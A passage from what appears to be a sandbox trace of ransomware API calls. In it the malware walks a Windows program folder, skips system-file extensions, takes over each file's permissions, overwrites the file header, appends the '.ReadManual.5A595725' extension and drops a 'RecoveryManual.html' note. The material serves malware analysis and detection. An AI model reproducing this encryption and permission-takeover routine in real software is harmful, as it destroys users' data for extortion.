Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ReadManual.5A595725" [0250.465] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.ReadManual.5A595725") returned 102 [0250.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37113349626) returned 1 [0250.465] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0250.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.511] GetLastError () returned 0x5 [0250.511] GetNamedSecurityInfoW () returned 0x0 [0250.511] SetNamedSecurityInfoW () returned 0x0 [0250.512] SetNamedSecurityInfoW () returned 0x0 [0250.512] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.512] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10123) returned 1 [0250.513] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x278b, lpName=0x0) returned 0x184 [0250.513] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0250.513] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.513] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.558] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.558] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x278b) returned 0x2f0000 [0250.558] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.558] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37122671757) returned 1 [0250.558] CloseHandle (hObject=0x184) returned 1 [0250.558] SetSecurityInfo () returned 0x5 [0250.558] SetSecurityInfo () returned 0x5 [0250.558] LocalFree (hMem=0x674d38) returned 0x0 [0250.558] CloseHandle (hObject=0x194) returned 1 [0250.558] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0250.558] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0250.558] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.651] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.652] CloseHandle (hObject=0x194) returned 1 [0250.652] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0250.652] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="16to9Squareframe_SelectionSubpicture.png" | out: lpString1="16to9Squareframe_SelectionSubpicture.png") returned="16to9Squareframe_SelectionSubpicture.png" [0250.652] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0250.652] StrStrIW (lpFirst="16to9Squareframe_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.652] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.652] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.652] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.652] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.652] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.653] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.653] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.653] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.653] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.653] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" [0250.653] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ReadManual.5A595725" [0250.653] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.ReadManual.5A595725") returned 108 [0250.653] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37132163395) returned 1 [0250.653] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0250.653] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.653] GetLastError () returned 0x5 [0250.653] GetNamedSecurityInfoW () returned 0x0 [0250.653] SetNamedSecurityInfoW () returned 0x0 [0250.654] SetNamedSecurityInfoW () returned 0x0 [0250.654] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.654] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3286) returned 1 [0250.654] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd6, lpName=0x0) returned 0x184 [0250.654] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe8) returned 1 [0250.655] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.655] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.698] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.698] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd6) returned 0x2f0000 [0250.698] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37136711938) returned 1 [0250.698] CloseHandle (hObject=0x184) returned 1 [0250.698] SetSecurityInfo () returned 0x5 [0250.699] SetSecurityInfo () returned 0x5 [0250.699] LocalFree (hMem=0x674d38) returned 0x0 [0250.699] CloseHandle (hObject=0x194) returned 1 [0250.699] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0250.699] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="16to9Squareframe_VideoInset.png" | out: lpString1="16to9Squareframe_VideoInset.png") returned="16to9Squareframe_VideoInset.png" [0250.699] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="RecoveryManual.html") returned -1 [0250.699] StrStrIW (lpFirst="16to9Squareframe_VideoInset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.699] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.699] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.699] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.699] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.699] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.699] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.699] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" [0250.699] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ReadManual.5A595725" [0250.699] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.ReadManual.5A595725") returned 99 [0250.699] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37136808659) returned 1 [0250.699] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0250.745] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.745] GetLastError () returned 0x5 [0250.745] GetNamedSecurityInfoW () returned 0x0 [0250.745] SetNamedSecurityInfoW () returned 0x0 [0250.745] SetNamedSecurityInfoW () returned 0x0 [0250.746] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.746] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3316) returned 1 [0250.746] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf4, lpName=0x0) returned 0x184 [0250.746] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0250.747] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.747] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.792] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.792] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf4) returned 0x2f0000 [0250.792] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.792] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37146084706) returned 1 [0250.792] CloseHandle (hObject=0x184) returned 1 [0250.792] SetSecurityInfo () returned 0x5 [0250.792] SetSecurityInfo () returned 0x5 [0250.792] LocalFree (hMem=0x674d38) returned 0x0 [0250.792] CloseHandle (hObject=0x194) returned 1 [0250.792] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0250.793] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="4to3Squareframe_Buttongraphic.png" | out: lpString1="4to3Squareframe_Buttongraphic.png") returned="4to3Squareframe_Buttongraphic.png" [0250.793] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="RecoveryManual.html") returned -1 [0250.793] StrStrIW (lpFirst="4to3Squareframe_Buttongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.793] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.793] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.793] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.793] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.793] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.793] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.793] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" [0250.793] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ReadManual.5A595725" [0250.793] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.ReadManual.5A595725") returned 101 [0250.793] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37146191026) returned 1 [0250.793] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0250.793] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.794] GetLastError () returned 0x5 [0250.794] GetNamedSecurityInfoW () returned 0x0 [0250.794] SetNamedSecurityInfoW () returned 0x0 [0250.794] SetNamedSecurityInfoW () returned 0x0 [0250.795] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.795] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11861) returned 1 [0250.795] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e55, lpName=0x0) returned 0x184 [0250.795] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0250.795] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.795] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.839] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.839] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e55) returned 0x2f0000 [0250.839] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.839] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37150776467) returned 1 [0250.839] CloseHandle (hObject=0x184) returned 1 [0250.839] SetSecurityInfo () returned 0x5 [0250.839] SetSecurityInfo () returned 0x5 [0250.839] LocalFree (hMem=0x674d38) returned 0x0 [0250.839] CloseHandle (hObject=0x194) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0250.839] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="4to3Squareframe_SelectionSubpicture.png" | out: lpString1="4to3Squareframe_SelectionSubpicture.png") returned="4to3Squareframe_SelectionSubpicture.png" [0250.839] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0250.840] StrStrIW (lpFirst="4to3Squareframe_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.840] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.840] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.840] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.840] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.840] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.840] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.840] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" [0250.840] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ReadManual.5A595725" [0250.840] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.ReadManual.5A595725") returned 107 [0250.840] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37150883148) returned 1 [0250.840] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0250.840] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.841] GetLastError () returned 0x5 [0250.841] GetNamedSecurityInfoW () returned 0x0 [0250.841] SetNamedSecurityInfoW () returned 0x0 [0250.841] SetNamedSecurityInfoW () returned 0x0 [0250.842] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.842] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3304) returned 1 [0250.842] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce8, lpName=0x0) returned 0x184 [0250.842] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 